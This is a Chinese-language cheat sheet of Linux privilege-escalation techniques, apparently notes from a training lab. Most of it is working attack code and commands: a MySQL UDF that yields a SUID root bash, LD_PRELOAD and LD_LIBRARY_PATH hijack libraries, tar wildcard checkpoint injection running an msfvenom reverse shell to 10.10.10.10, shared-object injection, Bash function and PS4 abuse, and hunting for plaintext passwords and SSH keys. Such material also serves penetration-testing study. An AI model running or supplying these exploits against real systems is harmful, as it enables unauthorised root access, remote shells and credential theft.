常用一键工具箱
- https://github.com/diego-treitos/linux-smart-enumeration
- https://github.com/sleventyeleven/linuxprivchecker
- https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
- https://github.com/rebootuser/LinEnum
- Linux Exploit Suggester 和 MSF 的辅助工具
具体描述见下方。
服务漏洞配合权限设定不当
常见的例如:MySQL UDF
SQLMap 系列: https://github.com/sqlmapproject/udfhack , ExploitDB: https://www.exploit-db.com/exploits/1518
以 Raptor UDF 为例:
gcc -g -c raptor_udf2.c -fPIC gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
最后确保 UDF 插件目录可写:
use mysql; create table foo(line blob); insert into foo values(load_file('/home/user/tools/mysql-udf/raptor_udf2.so')); select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so'; create function do_system returns integer soname 'raptor_udf2.so'; select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');
执行:/tmp/rootbash -p
即可获得 Shell
/etc/shadow
, /etc/passwd
滥用
简单的文件覆盖问题,不过多阐述。
mkpasswd -m sha-512 newpasswordhere openssl passwd newpasswordhere
sudo -l
滥用
LD_PRELOAD 环境变量滥用,配合 sudo ENV_KEEP 使用
#include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setresuid(0,0,0); system("/bin/bash -p"); }
编译指令:
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c
使用指令:
sudo LD_PRELOAD=/tmp/preload.so program-name-here
同理 LD_LIBRARY_PATH
滥用:
#include <stdio.h> #include <stdlib.h> static void hijack() __attribute__((constructor)); void hijack() { unsetenv("LD_LIBRARY_PATH"); setresuid(0,0,0); system("/bin/bash -p"); }
编译执行:
ldd /usr/sbin/apache2 #寻找公用的Shared Lib gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c #编译 sudo LD_LIBRARY_PATH=/tmp apache2 #执行
Shell 中 PATH
环境变量导致查找可执行文件的先后顺序,配合文件夹的可写权限造成的提权
例如:PATH=.:$PATH /usr/local/bin/suid-env
检查 CronTab,World-Writable 文件可修改后用于提权。
题外:那些死🐎教程里动不动就教人
chmod 777
的真是令人无语
CronTab 中的 Tar Wildcard 命令解析漏洞
对应下列有漏洞的压缩命令:
#!/bin/sh cd /home/user tar czf /tmp/backup.tar.gz *
如果文件名包含有效的tar选项,会造成命令执行。我们假设下面的 shell.elf 等为获取远程 Shell 的可执行文件。
使用 msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell.elf
生成一个 ELF,添加权限 chmod +x /home/user/shell.elf
,配置一个会造成歧义的文件 touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=shell.elf
,执行会造成命令解析出现漏洞,执行 shell.elf
利用已知漏洞
CVE-2016-1531, CVE-2014-6271 等,常见的问题包括 EXIM 和 GNU Screen、VIM。还有对应的 Kernel Exploit,例如 DirtyC0w.
Shared-Object Injection
劫持特定的动态链接库:
strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"
,找到没有存在但是会加载的链接库,根据你能写的位置,编写代码、编译覆盖:
#include <stdio.h> #include <stdlib.h> static void inject() __attribute__((constructor)); void inject() { setuid(0); system("/bin/bash -p"); }
执行 gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/tools/suid/libcalc.c
编译后,运行 /usr/local/bin/suid-so
即可。
Bash Function Abuse (<4.2-048)
即使使用绝对路径启动程序,也有可能被内置函数替换:
function /usr/sbin/service { /bin/bash -p; } export -f /usr/sbin/service /usr/local/bin/suid-env2
Bash PS4 Abuse (< 4.4)
Bash 中 Debug Mode 启动时,会使用 PS4 变量提供更多信息,利用 Bash 环境变量可以执行命令的特性可以实现这个滥用。
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2
查找已知的明文密码
- 各种 grep
- ~/.history
- *.ovpn
- SSH Keys
- Config Files 中的明文密码
NFS
- Root Squashing Disabled, can be checked through
/etc/exports
NFS definition. - UID Inherit Enabled
- Copy a file to NFS as local root, will save as remote root and PRESERVE THE PERMISSION YOU SET. So
chmod +xs
please.